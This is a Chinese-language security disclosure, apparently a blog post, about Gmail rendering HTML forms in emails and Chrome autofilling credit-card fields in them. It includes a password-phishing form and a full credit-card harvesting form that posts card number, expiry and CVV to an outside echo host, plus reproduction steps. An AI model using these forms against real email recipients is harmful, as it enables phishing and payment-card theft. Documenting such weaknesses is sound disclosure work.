你知道吗,Gmail允许使用HTML的<form>
标签。这一特性存在潜在的安全风险,尤其是在有人试图窃取用户凭证或敏感信息的时候。
如果攻击者试图通过在电子邮件中嵌入一个HTML表单来获取用户密码,就像下面这样:
<form action="https://httpbin.org/post" method="POST">
<input type="email" name="email" placeholder="Email or phone" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Next">
</form>
邮件收件人会看到邮件内呈现的表单。然而,Gmail会显示一条警告信息 “谨慎对待此邮件”,并且会禁用自动填充功能,这使得用户不太可能在无意中提交自己的凭证信息。
利用信用卡自动填充功能来利用此问题
Gmail对于索要信用卡信息的表单并未采取同样严格的措施。如果攻击者发送一封带有旨在收集信用卡信息表单的电子邮件,自动填充功能默认是开启的。谷歌似乎认为信用卡信息没有密码那么敏感,这就带来了重大的安全风险。
以下是重现该问题的步骤:
- 在谷歌浏览器中,访问
chrome://settings/payments
。 - 在“支付方式”下方,添加一张虚拟信用卡。
3.作为攻击者,发送以下 HTML 表单:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Credit Card Payment</title>
</head>
<body>
<div class="payment-container">
<h2>Credit Card Payment</h2>
<form action="https://httpbin.org/post" method="POST">
<label for="cardholder-name">Cardholder Name</label>
<input type="text" id="cardholder-name" name="cardholder_name" placeholder="John Doe" required>
<label for="card-number">Card Number</label>
<input type="number" id="card-number" name="card_number" placeholder="1234 5678 9012 3456" required>
<label for="expiry-date">Expiration Date</label>
<input type="text" id="expiry-date" name="expiry_date" placeholder="MM/YY" required>
<label for="cvv">CVV</label>
<input type="number" id="cvv" name="cvv" placeholder="123" required>
<input type="submit" value="Pay Now">
</form>
</div>
</body>
</html>
- 当受害者打开这封邮件时,他们会看到表单,并且自动填充功能是启用状态,这就会导致他们的信用卡信息在不经意间泄露。
谷歌的回应
谷歌表示,他们不认为这是一个安全问题。